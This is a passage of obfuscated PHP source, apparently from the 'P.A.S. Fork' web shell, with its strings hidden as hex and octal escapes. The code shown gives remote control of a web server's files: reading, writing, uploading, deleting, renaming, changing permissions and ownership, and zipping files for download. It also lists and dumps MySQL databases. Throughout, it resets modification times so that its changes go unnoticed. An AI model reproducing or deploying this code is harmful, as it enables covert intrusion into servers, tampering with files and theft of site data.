= explode("\54", $D[$k]); foreach ($s as $n => $v) { if (strpos($v, "\x2d")) { $v = explode("\x2d", $v, 2); $a[$k][$n] = array((int) $v[0], (int) $v[1]); } else { switch (substr(trim($v), 0, 1)) { case "\76": $a[$k][$n][0] = (int) substr(trim($v), 1); break; case "\x3c": $a[$k][$n][1] = (int) substr(trim($v), 1); break; default: $a[$k][$n] = (int) $v; break; } } } } } $i = array("\145", "\x6d"); foreach ($i as $k) { if (isset($D[$k])) { $s = explode("\x2c", $D[$k]); foreach ($s as $n => $v) { if (strpos("\40\x2d\x20", $v)) { $v = explode("\x20\55\40", $v, 2); $a[$k][$n] = array(strtotime(trim($v[0]) . "\x55\x54\x43"), strtotime(trim($v[1]) . "\125\124\x43")); } else { switch (substr(trim($v), 0, 1)) { case "\76": $a[$k][$n][0] = strtotime(substr(trim($v), 1) . "\125\x54\x43"); break; case "\x3c": $a[$k][$n][1] = strtotime(substr(trim($v), 1) . "\125\124\103"); break; default: $a[$k][$n] = strtotime(trim($v) . "\125\x54\x43"); break; } } } } } $s = new Searcher($a); foreach ($D["\163"] as $v) { $s->search($v); } $s->finish(); } if (isset($D["\147"])) { if ($D["\147"] === "\x7e" || $D["\x67"] === '') { $D["\147"] = selfPath(); } $i = new FileInfo($D["\147"]); if (substr($D["\147"], -1) === DSC || $i->isDir()) { echo "\173\x22\160\42\72"; if (substr($D["\147"], -1) !== DSC) { $D["\147"] .= DSC; } jsonEcho($D["\147"]); echo "\x2c\x22\x6d\42\72", $i->getMode(), "\x2c\x22\146\x22\72\133"; dirRead($i->getPathName(), "\157\165\x74\106\151\x6c\145\111\x6e\x66\157"); echo "\135"; outFileInfo(NULL, TRUE); sDie("\x7d"); } echo "\1\x2"; $b = outFile($D["\147"]); echo "\3\36"; if ($b) { echo "\6\133"; jsonEcho($D["\147"]); echo "\x2c", $i->getMode(), "\135"; } else { echo "\x15", $D["\147"]; } sDie("\27\x4\20"); } if (isset($D["\151"])) { jsonFileInfo(new FileInfo($D["\x69"]), TRUE); sDie(); } if (isset($D["\x68"])) { echo "\173"; $a = array(); $t = array(); $e = array(); $b = NULL; $m = count($D["\150"]) > 1; if ($m && isset($D["\160"]) && substr($D["\x70"], -1) !== DSC) { $D["\160"] .= DSC; } if (isset($D["\164"])) { $D["\164"] = strtotime($D["\x74"] . "\x55\x54\103"); } if (isset($D["\x65"])) { $D["\145"] = intval($D["\x65"], 8); } if (isset($D["\x72"]) && isInt($D["\x72"])) { $D["\162"] = (int) $D["\162"]; } if (isset($D["\x6f"]) && isInt($D["\x6f"])) { $D["\157"] = (int) $D["\157"]; } sort($D["\x68"]); foreach ($D["\150"] as $v) { if (isset($D["\x70"])) { parsePath($v, $s, $n); if ($m) { $d = $D["\160"]; $p = $d . $n; } else { $d = filePath($D["\160"]); $p = $D["\x70"]; } $c = array(); if (!isset($t[$s])) { $i = new FileInfo($s); $i = $i->getMTime(); if ($i) { $c[$s] = $i; } } if (!isset($t[$d])) { $i = new FileInfo($d); $i = $i->getMTime(); if ($i) { $c[$d] = $i; } } else { $i = $t[$d]; } if (!isset($D["\164"]) && $i) { $c[$p] = $i; } if (rename($v, $p)) { if ($s !== $b) { echo $b === NULL ? "\42\162\42\72\133" : "\x5d\175\x2c"; echo "\x7b\42\x70\x22\x3a"; jsonEcho($s); echo "\54\42\146\x22\x3a\133"; $b = $s; } else { echo "\x2c"; } jsonEcho($n); $t += $c; $v = $p; $a[$p] = 1; } else { $e[$v][] = "\x70\141\x74\150"; } } if (isset($D["\x74"])) { if (touch($v, $D["\164"])) { $a[$v] = 1; } else { $e[$v][] = "\x6d\157\x64\151\146\x69\x65\x64\40\x64\141\x74\145"; } } if (isset($D["\145"])) { if (chmod($v, $D["\145"])) { $a[$v] = 1; } else { $e[$v][] = "\x70\x65\162\x6d\x69\x73\163\151\x6f\x6e"; } } if (isset($D["\162"])) { if (chgrp($v, $D["\162"])) { $a[$v] = 1; } else { $e[$v][] = "\x67\x72\x6f\165\x70"; } } if (isset($D["\x6f"])) { if (chown($v, $D["\x6f"])) { $a[$v] = 1; } else { $e[$v][] = "\x6f\167\x6e\145\x72"; } } } $b = $b !== NULL; if ($b) { echo "\135\x7d\x5d"; } if (count($a) > 0) { if ($b) { echo "\54"; } else { $b = TRUE; } echo "\42\x63\42\72\x5b\x7b\x22\x70\42\72"; foreach ($t as $k => $v) { touch($k, $v); } clearstatcache(); ksort($a); $p = NULL; foreach ($a as $v => $k) { $k = filePath($v); if ($k !== $p) { if ($p !== NULL) { echo "\x5d\x7d\54\173\x22\x70\x22\72"; } jsonEcho($k); echo "\54\42\x66\x22\72\133"; $p = $k; } outFileInfo($v); } echo "\135\175\135"; outFileInfo(NULL, TRUE); } if ($e) { if ($b) { echo "\x2c"; } $b = FALSE; echo "\x22\145\x22\72\133"; foreach ($e as $k => $v) { if ($b) { echo "\x2c"; } else { $b = TRUE; } jsonEcho(implode("\x2c\x20", $v) . "\x20\146\157\162\40" . $k); } echo "\x5d"; } sDie("\x7d"); } if (isset($D["\x64"])) { if (is_array($D["\x64"])) { $v = new PZIP(); $v->init($D["\x44\102\120"]); foreach ($D["\x64"] as $i) { $v->addPath($i); } $v->close(); } $v = new FileInfo($D["\144"]); if ($v->isDir()) { $v = new PZIP(); $v->init($D["\144"]); $v->addPath($D["\x64"]); $v->close(); } if (outFile($D["\144"]) || defined("\103\105\104")) { sDie(); } header("\x43\x6f\156\164\145\x6e\164\x2d\x44\151\163\160\157\x73\151\x74\151\157\156\72\40\151\x6e\x6c\151\156\145"); header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\160\x65\x3a\40\x61\x70\x70\154\x69\143\141\x74\151\x6f\x6e\57\152\163\157\156\x3b\40\143\x68\x61\x72\x73\x65\x74\75" . CSE); sDie("\60"); } if (isset($D["\165"])) { echo "\173"; $a = array(); $e = array(); $b = FALSE; $k = NULL; sort($D["\x75"]); foreach ($D["\165"] as $v) { parsePath($v, $p, $n); if (!isset($a[$p])) { $t = new FileInfo($p); $t = $t->getMTime(); } else { $t = FALSE; } if (delFOD($v)) { if ($t) { $a[$p] = $t; } if (!$b) { echo "\x22\x72\42\x3a\x5b"; $b = TRUE; } if ($p !== $k) { if ($k !== NULL) { echo "\x5d\175\54"; } echo "\173\x22\x70\42\72"; jsonEcho($p); echo "\x2c\42\x66\42\72\x5b"; $k = $p; } else { echo "\54"; } jsonEcho($n); } else { $e[] = $v; } } if ($b) { echo "\x5d\175\135"; } if ($e) { if ($b) { echo "\54"; } echo "\42\x65\x22\x3a\x5b"; foreach ($e as $k => $v) { if ($k > 0) { echo "\54"; } jsonEcho($v); } echo "\x5d"; } foreach ($a as $k => $v) { touch($k, $v); } sDie("\x7d"); } if (!empty($_FILES["\146"]) || !empty($_REQUEST["\x66"])) { if (is_array($_REQUEST["\x66"]) && !isset($_FILES["\x66"])) { foreach ($_REQUEST["\146"] as $k => $v) { $_FILES["\146"]["\156\x61\155\145"][$k] = basename(key($v)); $_FILES["\146"]["\x74\x6d\160\x5f\156\141\x6d\x65"][$k] = $v[$_FILES["\146"]["\156\x61\155\145"][$k]]; $_FILES["\146"]["\x65\162\162\x6f\162"][$k] = 0; } } echo "\173"; $a = array(); $b = FALSE; $i = new FileInfo($D["\x70"]); $i = $i->getMTime(); foreach ($_FILES["\146"]["\145\162\162\157\x72"] as $k => $v) { $n = $_FILES["\146"]["\x6e\x61\155\145"][$k]; if ($v === 0) { $p = $D["\x70"] . $n; $t = $_FILES["\x66"]["\x74\155\x70\x5f\x6e\x61\155\x65"][$k]; if (move_uploaded_file($t, $p) || rename($t, $p) || copy($t, $p) || link($t, $p) || is_string($c = getFile($t)) && writeFile($p, $c) || $t[0] === "\144" && writeFile($p, base64_decode(substr(strrchr($t, "\54"), 1)))) { $a[] = $n; if ($i) { touch($p, $i); } continue; } } if ($b) { echo "\54"; } else { $b = TRUE; echo "\x22\x65\x22\72\133"; } jsonEcho($v . $n); } if ($b) { echo "\x5d"; } if (count($a) > 0) { if ($i) { touch($D["\x70"], $i); clearstatcache(); } if ($b) { echo "\x2c"; } echo "\42\x70\x22\x3a"; jsonEcho($D["\160"]); echo "\54\x22\x66\x22\x3a\x5b"; foreach ($a as $v) { outFileInfo($D["\x70"] . $v); } echo "\x5d"; outFileInfo(NULL, TRUE); } sDie("\x7d"); } if (isset($D["\167"])) { $a = array(); if (is_file($D["\167"]) || file_exists($D["\x77"])) { $i = new FileInfo($D["\x77"]); if ($i->isDir()) { sDie("\173\x22\145\42\x3a\42\x28\x70\x61\164\x68\40\x61\154\162\145\x61\x64\171\x20\x65\170\x69\163\164\x73\40\x61\x73\40\x64\x69\162\145\x63\x74\x6f\162\171\51\42\x7d"); } } else { $p = filePath($D["\167"]); $i = new FileInfo($p); $a[$p] = $i->getMTime(); } $a[$D["\x77"]] = $i->getMTime(); switch ($D["\145"]) { case 0: $v = "\xd\12"; break; case 1: $v = "\12"; break; case 2: $v = "\15"; break; } $D["\164"] = strtr($D["\164"], array("\15\xa" => $v, "\15" => $v, "\12" => $v)); if (writeFile($D["\167"], $D["\x74"])) { if (function_exists("\157\160\143\141\143\x68\145\137\151\x6e\x76\x61\154\151\144\141\164\145")) { opcache_invalidate($D["\x77"], true); } foreach ($a as $k => $v) { if ($v) { touch($k, $v); } } clearstatcache(); $i = new FileInfo($D["\167"]); echo "\x1\2"; $b = outFile($D["\167"]); echo "\3\x1e"; if ($b) { echo "\6"; jsonFileInfo($i, TRUE); } else { echo "\x15", $D["\167"]; } sDie("\x17\x4\20"); } sDie("\173\42\x65\x22\72\42\x22\x7d"); } if (isset($D["\154"])) { $p = filePath($D["\154"]); $t = new FileInfo($p); $t = $t->getMTime(); if ($D["\164"] == 0 ? symlink($D["\x70"], $D["\x6c"]) : link($D["\160"], $D["\x6c"])) { if ($t) { if ($D["\x74"] != 0) { touch($D["\154"], $t); } touch($p, $t); clearstatcache(); } jsonFileInfo(new FileInfo($D["\154"]), TRUE); sDie(); } sDie("\173\x22\145\42\72\x22\42\175"); } if (isset($D["\155"])) { if (is_file($D["\x6d"]) || is_dir($D["\155"]) || file_exists($D["\x6d"])) { sDie("\173\x22\x65\x22\72\42\50\x70\141\164\x68\40\141\154\x72\145\141\144\x79\x20\x65\x78\x69\x73\164\x73\51\42\175"); } $p = filePath($D["\x6d"]); $i = new FileInfo($p); $i = $i->getMTime(); if (mkdir($D["\155"], 493)) { if ($i) { touch($D["\x6d"], $i); touch($p, $i); clearstatcache(); } jsonFileInfo(new FileInfo($D["\x6d"]), TRUE); sDie(); } sDie("\x7b\42\145\x22\x3a\42\42\175"); } if (isset($D["\146"])) { echo "\x7b"; $a = array(); $m = array(); $c = array(); $b = FALSE; $t = new FileInfo($D["\146"]); $t = $t->getMTime(); if (isset($D["\166"])) { foreach ($D["\166"] as $v) { $i = new FileInfo($v); $j = $i->getMTime(); $f = $D["\x66"] . $i->getFileName(); $s = $i->getPath(); if (!isset($a[$s])) { $n = new FileInfo($s); $n = $n->getMTime(); } else { $n = FALSE; } if (rename($v, $f)) { if ($n) { $a[$s] = $n; } if ($j) { $a[$f] = $j; } $m[$s][] = $i->getFileName(); } else { if ($b) { echo "\54"; } else { echo "\42\x65\42\72\133"; $b = TRUE; } jsonEcho($v); } } } if (isset($D["\160"])) { foreach ($D["\x70"] as $v) { $i = new FileInfo($v); $f = $D["\x66"] . $i->getFileName(); if (copy($v, $f) || link($v, $f) || !$i->isDir() && is_string($s = getFile($v)) && writeFile($f, $s)) { $v = $i->getMTime(); if ($v) { $a[$f] = $v; } $c[] = $i->getFileName(); } else { if ($b) { echo "\x2c"; } else { echo "\x22\x65\x22\x3a\x5b"; $b = TRUE; } jsonEcho($v); } } } if ($b) { echo "\135"; } if (count($m) > 0 || count($c) > 0) { foreach ($a as $k => $v) { touch($k, $v); } if ($t) { touch($D["\146"], $t); } clearstatcache(); if ($b) { echo "\x2c"; } echo "\42\x70\42\x3a"; jsonEcho($D["\146"]); if (count($m) > 0) { echo "\54\42\155\x22\72\x5b"; $b = FALSE; foreach ($m as $k => $a) { if ($b) { echo "\x2c"; } else { $b = TRUE; } echo "\x7b\42\160\x22\72"; jsonEcho($k); outFileInfo(NULL, FALSE); echo "\x2c\x22\146\42\x3a\133"; foreach ($a as $v) { outFileInfo($D["\x66"] . $v); } echo "\135\x7d"; } echo "\x5d"; } if (count($c) > 0) { echo "\54\x22\x63\x22\x3a\x5b"; $b = FALSE; foreach ($c as $v) { outFileInfo($D["\x66"] . $v); } echo "\135"; } outFileInfo(NULL, TRUE); } sDie("\x7d"); } break; case "\163": define("\124\x5f\x44\x4d\120\110\x44\122", "\x2d\55\x20\xa\x2d\55\40\x54\x68\x69\163\x20\x53\x51\114\x20\x64\165\x6d\160\40\x63\162\x65\141\164\145\144\40\142\x79\40\120\x2e\x41\56\x53\56\x20\106\x6f\x72\153\40\x76\x2e" . VER . "\xa\x2d\x2d\x20\xa\55\55\40\123\164\141\x72\x74\x65\x64\x20\141\164\40\45\x73\x20\x55\x54\x43\xa"); define("\124\137\104\115\x50\106\x54\122", "\x2d\x2d\40\106\x69\x6e\x69\163\x68\x65\144\x20\x61\x74\x20\45\x73\40\125\124\103"); define("\x45\x5f\123\x4c\x43\x54\104\124", "\x43\141\156\47\x74\40\154\x6f\141\144\x20\x64\141\164\141\40\146\162\157\x6d\40\164\x61\142\154\x65\x20\45\163\xa"); define("\x45\x5f\103\x4e\x53\124\103\x53", "\x43\x61\156\x27\164\40\143\157\x6e\x73\164\x72\x75\143\164\40\x63\x72\145\x61\x74\145\x20\x73\164\x61\x74\145\x6d\145\x6e\164\40\x66\157\162\x20\x74\x61\x62\154\145\x20\x25\163\12"); define("\x45\x5f\103\110\x4e\x47\104\102", "\x43\x61\x6e\x27\x74\40\143\150\x61\x6e\147\x65\x20\x64\141\x74\x61\142\x61\163\x65\x20\x74\157\x20\x25\x73\40\x66\x6f\162\40\144\x75\x6d\160\x20\164\141\x62\x6c\145\x20\x25\163\56\45\x73\xa"); class SQLBase { var $_cnct, $_res; function connError($m, $h, $u, $p, $b) { echo "\x7b\42\x65\42\x3a"; jsonEcho($m ? $m : "\x43\x61\156\x27\164\x20\143\x6f\156\x6e\145\x63\x74\x20\x74\157\40\123\x51\114\x20\163\x65\162\166\145\162" . ($h === NULL ? '' : "\40" . $h) . ($u === NULL ? '' : "\40\x61\x73\40\x75\x73\145\x72\x20\x22" . $u . "\42") . ($p === NULL ? '' : "\x20\167\151\164\150\x20\160\141\x73\x73\167\157\162\144\x20\x22" . $p . "\42") . ($b === NULL ? '' : "\40\x61\156\x64\x20\x73\145\x6c\145\x63\x74\x20\144\x61\x74\141\x62\141\x73\145\40\x22" . $b . "\x22") . "\56"); sDie("\x7d"); } function getError() { $v = $this->_cnct->errorInfo(); return $v[2]; } function tryQueries($a) { $i = $this->_cnct; foreach ($a as $v) { if ($this->_res = $i->query($v)) { return TRUE; } } return FALSE; } function fetchAssoc() { return $this->_res->fetch(PDO::FETCH_ASSOC); } function fetchRow() { return $this->_res->fetch(PDO::FETCH_NUM); } function query($v) { return $this->_res = $this->_cnct->query($v); } function fetchBase() { return $this->_res->fetchColumn(0); } function fetchTable() { return $this->_res->fetchColumn(0); } function getColumnsNames($v) { $a = array(); if (($v = $this->_cnct->query("\123\105\114\105\x43\124\40\52\40\x46\x52\117\115\x20" . $v . "\40\114\111\115\111\x54\40\x31")) && ($v = $v->fetch(PDO::FETCH_ASSOC))) { foreach ($v as $k => $i) { $a[$k] = ''; } return $a; } return FALSE; } function sqlTableSize($v) { return ($v = $this->_cnct->query("\x53\x45\x4c\105\103\x54\40\x43\117\125\116\x54\x28\52\51\x20\106\x52\117\x4d\x20" . $v)) ? $v->fetchColumn(0) : "\42\x3f\x22"; } function close() { $this->_cnct = NULL; } } function sqlJoinColumns($a, $f) { if ($a) { foreach ($a as $k => $v) { $a[$k] = $f($v); } return implode("\x2c", $a); } return "\x2a"; } function sqlOutCreate($t, $c, $d, $f) { echo "\xa\x43\122\105\101\124\105\x20\x54\x41\102\x4c\x45\40", $f($t), "\x20\x28\12"; $b = FALSE; foreach ($c as $k => $v) { if ($b) { echo "\x2c\xa"; } else { $b = TRUE; } echo "\40\x20", $f($k), "\x20", $v ? $v : $d; } echo "\12\51\73\12"; } function sqlOutInsert($t, $c) { echo "\12\x49\116\123\x45\122\x54\x20\x49\x4e\124\117\40", $t; if ($c !== "\x2a") { echo "\x20\x28", $c, "\x29"; } echo "\x20\126\x41\x4c\125\x45\123"; } function sqlOutValues($a, $f) { echo "\xa\x28"; $b = FALSE; foreach ($a as $v) { if ($b) { echo "\54"; } else { $b = TRUE; } if ($v === NULL) { echo "\x4e\x55\x4c\114"; } else { echo $f($v); } } echo "\x29"; } function csvOutValues($a) { $c = 0; $b = FALSE; foreach ($a as $v) { if ($b) { echo "\73"; } else { $b = TRUE; } if ($v === NULL) { echo "\x5c\x4e"; } else { $v = str_replace(array("\42", "\73", "\xd", "\xa"), array("\x22\x22", "\x3b", "\x5c\162", "\x5c\156"), $v, $c); echo $c > 0 ? "\42" . $v . "\x22" : $v; } } } function mysqlEscData($v) { return "\x27" . str_replace(array("\134", "\x27", "\x22", "\x0", "\12", "\xd", "\32"), array("\134\x5c", "\134\x27", "\x5c\x22", "\x5c\60", "\x5c\x6e", "\134\x72", "\134\132"), $v) . "\x27"; } function mysqlEscName() { $a = func_get_args(); foreach ($a as $k => $v) { $a[$k] = "\x60" . str_replace("\x60", "\x60\x60", $v) . "\140"; } return implode("\56", $a); } class MySQLBase extends SQLBase { var $haveSchemas = FALSE, $canPaginate = TRUE; function charset($k) { $v = array("\165\x74\146\70", "\165\x74\146\x31\66", "\x63\x70\61\62\65\x30", "\x63\160\61\62\x35\61", "\x6c\141\164\x69\x6e\x31", "\154\141\x74\x69\156\65", "\x63\x70\x31\62\65\x36", "\143\x70\61\x32\x35\67", "\154\x61\x74\151\156\x31", "\154\141\164\x69\x6e\x32", "\147\162\145\x65\153", "\150\x65\142\x72\145\167", "\x6c\141\164\x69\156\x35", "\154\x61\164\151\x6e\67", "\x62\x69\x67\65", "\147\142\153", "\x73\x6a\151\x73", "\145\x75\143\x6b\162", "\x75\x6a\151\x73", "\x63\x70\70\66\66", "\x6b\157\151\70\x72", "\153\x6f\151\70\165"); return isset($v[$k]) ? $v[$k] : "\165\164\x66\x38"; } function parseCrtTbl($v) { $a = array(); $n = "\x60\50\50\77\72\133\136\x60\x5d\174\140\140\51\x2b\x29\x60"; $l = "\40\x5c\x28\x28\x28\x3f\x3a\x60\50\x3f\72\x5b\136\140\135\x7c\140\140\x29\x2b\x60\54\77\x29\x2b\51\x5c\x29"; $t = "\x28\x3f\72\x20\x55\123\x49\x4e\x47\x20\50\x3f\72\102\124\122\105\x45\174\x48\x41\x53\x48\51\x29\77"; $c = "\x28\77\x3a\134\163\x2b\x43\x4f\x4e\x53\x54\x52\x41\111\x4e\x54\50\x3f\x3a\40\140\x28\77\72\133\136\x60\135\x7c\140\x60\x29\53\51\140\51\x3f\134\x73\x2b"; $e = "\x28\x60\x28\77\x3a\x5b\x5e\140\x5d\174\x60\x60\x29\x2b\x60\51"; preg_match_all("\x23\136\x5c\x73\53" . $n . "\x20\x28\133\141\55\172\135\x2b\x29\x28\50\77\x3a\134\x28\174\x20\51\x2e\x2b\x29\x3f\x2c\x3f\44\x23\x55\x6d", $v, $m); foreach ($m[1] as $k => $i) { $a[$i] = strtoupper($m[2][$k]) . $m[3][$k]; } if (preg_match("\43\136" . $c . "\120\x52\111\x4d\x41\x52\x59\40\113\x45\131" . $t . $l . "\56\x2a\x24\x23\125\x6d", $v, $m)) { preg_match_all("\x23" . $n . "\43", $m[1], $m); foreach ($m[1] as $i) { $a[$i] .= "\54\40\x50\122\111\x4d\101\x52\x59\x20\x4b\105\x59"; } } if (preg_match_all("\43\x5e\134\163\53\50\77\x3a\111\x4e\104\x45\x58\174\x4b\105\131\51\50\77\72\x20" . $e . "\51\77" . $t . $l . "\x2e\52\x24\43\x55\x6d", $v, $m)) { foreach ($m[1] as $i => $k) { if ($k !== '') { $k = "\x20" . $k; } preg_match_all("\x23" . $n . "\43", $m[2][$i], $r); foreach ($r[1] as $i) { $a[$i] .= "\54\x20\x4b\x45\131" . $k; } } } if (preg_match_all("\x23\136" . $c . "\125\116\x49\121\x55\x45\x28\x3f\x3a\40\50\77\x3a\x49\116\104\105\x58\x7c\113\105\x59\51\x29\x3f\x28\x3f\x3a\40" . $e . "\x29\77" . $t . $l . "\56\52\x24\x23\125\x6d", $v, $m)) { foreach ($m[1] as $i => $k) { if ($k !== '') { $k = "\x20" . $k; } preg_match_all("\43" . $n . "\x23", $m[2][$i], $r); foreach ($r[1] as $i) { $a[$i] .= "\54\x20\x55\x4e\111\121\x55\105\x20\x4b\105\x59" . $k; } } } if (preg_match_all("\x23\x5e\x5c\x73\53\50\77\x3a\x46\125\x4c\x4c\124\x45\x58\124\x7c\123\120\101\124\111\x41\114\51\50\77\x3a\x20\50\x3f\x3a\x49\116\x44\105\130\174\x4b\105\131\x29\x29\77\x28\77\x3a\x20" . $e . "\51\x3f" . $l . "\56\x2a\44\43\125\155", $v, $m)) { foreach ($m[1] as $i => $k) { if ($k !== '') { $k = "\x20" . $k; } preg_match_all("\43" . $n . "\x23", $m[2][$i], $r); foreach ($r[1] as $i) { $a[$i] .= "\x2c\40\x46\125\114\x4c\124\105\130\x54\40\x4b\105\x59" . $k; } } } if (preg_match_all("\43\x5e" . $c . "\106\117\x52\x45\x49\107\x4e\40\113\105\131\x28\x3f\x3a\40" . $e . "\x29\x3f" . $l . "\40\x52\105\106\x45\122\x45\116\x43\x45\123\x20\x28\140\50\x3f\72\x5b\136\140\x5d\174\140\140\51\53\140\x20\x5c\50\50\x3f\x3a\x60\50\77\x3a\x5b\136\140\135\x7c\140\x60\51\x2b\x60\x2c\77\x29\x2b\134\x29\51\56\x2a\x24\43\125\x6d", $v, $m)) { foreach ($m[1] as $i => $k) { if ($k !== '') { $k = "\x20" . $k; } $k .= "\40" . $m[3][$i]; preg_match_all("\x23" . $n . "\x23", $m[2][$i], $r); foreach ($r[1] as $i) { $a[$i] .= "\x2c\x20\106\117\x52\x45\x49\107\116\x20\x4b\105\x59" . $k; } } } return $a; } function prepType($v) { $s = ($i = strpos($v[1], "\x28")) ? strtoupper(substr($v[1], 0, $i)) . substr($v[1], $i) : strtoupper($v[1]); if ($v[2] === "\116\117") { $s .= "\40\x4e\117\x54\40\116\125\x4c\114"; } if ($v[4] !== NULL) { $s .= "\40\x44\105\106\x41\x55\x4c\124\x20" . mysqlEscData($v[4]); } if ($v[5] !== NULL) { $s .= "\x20" . strtoupper($v[5]); } switch ($v[3]) { case "\120\122\111": $s .= "\40\x50\x52\x49\x4d\x41\122\131\40\x4b\105\x59"; break; case "\125\x4e\111": $s .= "\x20\x55\x4e\111\x51\125\x45\x20\x4b\105\x59"; break; case "\115\125\114": $s .= "\54\x20\113\105\131\50" . mysqlEscName($v[0]) . "\51"; break; } return $s; } function getBases() { return $this->tryQueries(array("\x53\110\x4f\x57\x20\104\101\124\x41\102\x41\123\105\123", "\123\110\x4f\127\40\123\103\x48\x45\115\101\x53", "\123\105\x4c\105\x43\x54\x20\163\x63\150\x65\155\141\x5f\x6e\x61\155\x65\x20\x46\122\117\115\x20\x69\x6e\146\157\162\x6d\141\x74\x69\157\156\x5f\163\143\x68\145\x6d\x61\x2e\x73\x63\x68\x65\x6d\x61\x74\141", "\123\105\114\x45\103\x54\x20\104\x49\x53\x54\x49\x4e\103\124\40\164\x61\142\154\x65\137\163\143\x68\145\x6d\x61\40\x46\x52\117\x4d\x20\x69\x6e\x66\157\162\x6d\x61\x74\151\157\156\137\163\x63\x68\x65\155\x61\x2e\x74\141\142\x6c\145\x73", "\123\x45\x4c\105\x43\124\x20\x44\111\x53\x54\111\116\103\x54\40\x74\141\x62\154\145\137\x73\143\x68\x65\x6d\x61\40\106\122\x4f\x4d\x20\151\156\x66\157\x72\155\x61\x74\x69\157\x6e\x5f\x73\x63\x68\x65\x6d\x61\56\x63\157\154\165\155\156\x73")); } function getTables($b) { $v = mysqlEscData($b); return $this->tryQueries(array("\x53\110\x4f\x57\x20\x54\x41\102\114\105\x53\40\x46\122\x4f\x4d\40" . mysqlEscName($b), "\123\105\114\105\x43\124\x20\x74\x61\142\154\x65\137\156\141\155\x65\x20\106\122\117\x4d\40\151\x6e\146\x6f\x72\x6d\141\164\x69\157\156\x5f\163\143\150\145\x6d\x61\56\x74\141\142\x6c\x65\163\x20\127\110\x45\x52\x45\40\x74\x61\x62\x6c\x65\x5f\x73\143\150\x65\155\141\x3d" . $v, "\x53\105\x4c\x45\x43\124\40\x44\x49\123\x54\111\x4e\103\x54\40\x74\x61\142\154\145\137\156\x61\155\145\40\x46\x52\117\115\x20\151\156\x66\x6f\x72\x6d\x61\x74\151\x6f\x6e\x5f\x73\143\150\145\155\x61\56\143\x6f\x6c\165\x6d\156\163\40\x57\110\105\x52\105\40\x74\x61\142\154\145\x5f\x73\143\150\145\x6d\x61\x3d" . $v)); } function getColumns($b, $t) { $a = array(); $e = mysqlEscName($b, $t); if ($this->tryQueries(array("\123\x48\x4f\127\x20\x43\117\x4c\x55\x4d\116\123\x20\106\x52\117\115\x20" . $e, "\123\110\x4f\x57\40\106\x49\x45\114\104\123\x20\x46\x52\x4f\115\x20" . $e, "\104\105\123\103\x20" . $e, "\104\105\123\103\122\111\102\105\40" . $e, "\123\105\114\x45\x43\124\x20\x63\157\x6c\x75\155\x6e\x5f\156\141\x6d\145\54\143\x6f\x6c\165\x6d\156\x5f\164\171\160\x65\x2c\x69\x73\137\x6e\165\154\x6c\141\x62\x6c\x65\x2c\143\157\154\165\x6d\156\137\x6b\145\171\x2c\x63\x6f\x6c\x75\x6d\x6e\137\x64\145\x66\141\x75\154\164\54\x65\170\x74\162\x61\x20\106\122\117\x4d\x20\x69\156\146\157\162\x6d\141\x74\151\x6f\156\x5f\x73\143\x68\145\155\141\56\143\x6f\x6c\x75\x6d\x6e\x73\x20\x57\x48\105\122\x45\x20\164\141\x62\154\145\x5f\156\141\x6d\145\x3d" . mysqlEscData($t) . "\40\101\116\104\40\164\x61\x62\x6c\x65\137\x73\x63\x68\145\x6d\141\75" . mysqlEscData($b)))) { while ($v = $this->fetchRow()) { $a[$v[0]] = $this->prepType($v); } return $a; } if ($this->query("\123\110\x4f\x57\40\103\x52\x45\x41\124\105\x20\x54\x41\102\114\x45\x20" . $e) && ($v = $this->fetchRow())) { return $this->parseCrtTbl($v[1]); } return $a; } function select($b, $t, $c, $o, $l) { return $this->query("\123\105\x4c\105\103\124\x20" . sqlJoinColumns($c, "\155\x79\x73\x71\x6c\x45\x73\x63\116\141\155\145") . "\40\x46\122\117\115\x20" . mysqlEscName($b, $t) . "\40\114\x49\115\111\124\x20" . $o . "\x2c" . $l); } function outCreateTable($b, $t) { if ($this->query("\x53\110\117\127\x20\103\122\105\x41\x54\105\40\124\x41\102\114\x45\x20" . mysqlEscName($b, $t)) && ($v = $this->fetchRow())) { echo "\xa", $v[1], "\73\xa"; return ''; } if ($v = $this->getColumns($b, $t)) { sqlOutCreate($t, $v, "\x42\x4c\117\x42", "\155\171\x73\161\x6c\x45\x73\x63\x4e\141\x6d\145"); return ''; } return sprintf(E_CNSTCS, $b . "\56" . $t); } } class MySQLClient extends MySQLBase { function connect($h, $u, $p, $b, $c) { if (!($this->_cnct = mysql_connect($h, $u, $p))) { return FALSE; } mysql_query("\x53\105\x54\40\116\x41\115\105\123\40" . $this->charset($c), $this->_cnct); if ($b !== NULL && !mysql_select_db($b, $this->_cnct)) { return mysql_query("\x55\x53\x45\x20" . mysqlEscName($b), $this->_cnct); } return TRUE; } function getError() { if ($this->_cnct) { $v = mysql_error($this->_cnct); mysql_close($this->_cnct); return $v; } return mysql_error(); } function tryQueries($a) { foreach ($a as $v) { if ($this->_res = mysql_query($v, $this->_cnct)) { return TRUE; } } return FALSE; } function getBases() { return ($this->_res = mysql_list_dbs($this->_cnct)) || parent::getBases(); } function fetchBase() { return ($v = mysql_fetch_row($this->_res)) ? $v[0] : FALSE; } function fetchTable() { return ($v = mysql_fetch_row($this->_res)) ? $v[0] : FALSE; } function getTables($b) { return ($this->_res = mysql_list_tables($b, $this->_cnct)) || parent::getTables($b); } function getTableSize($b, $t) { return ($v = mysql_query("\x53\105\x4c\105\103\124\x20\103\117\125\x4e\124\x28\52\x29\40\x46\x52\x4f\115\40" . mysqlEscName($b, $t), $this->_cnct)) ? mysql_result($v, 0) : "\42\77\42"; } function getColumns($b, $t) { if ($a = parent::getColumns($b, $t)) { return $a; } $e = mysqlEscName($b, $t); $q = FALSE; if (($q = mysql_list_fields($b, $t, $this->_cnct)) || ($q = mysql_query("\123\105\x4c\x45\103\x54\x20\x2a\40\x46\122\x4f\x4d\40" . $e . "\x20\x4c\111\x4d\111\124\40\60", $this->_cnct))) { if ($v = mysql_fetch_field($q)) { do { $s = $v->type === "\x73\x74\162\151\156\147" ? "\x54\x45\x58\124" : strtoupper($v->type); if ($v->unsigned) { $s .= "\x20\125\x4e\x53\x49\107\x4e\105\104"; } if ($v->zerofill) { $s .= "\x20\132\105\122\x4f\106\x49\114\x4c"; } if ($v->not_null) { $s .= "\x20\x4e\117\x54\x20\116\x55\114\x4c"; } if (isset($v->def) && $v->def !== '' && $v->def !== NULL) { $s .= "\x20\104\105\x46\x41\125\x4c\124\40" . mysqlEscData($v->def); } if ($v->primary_key) { $s .= "\40\x50\122\x49\x4d\101\122\x59\x20\113\105\131"; } elseif ($v->unique_key) { $s .= "\40\x55\116\111\121\125\105\x20\113\x45\x59"; } elseif ($v->multiple_key) { $s .= 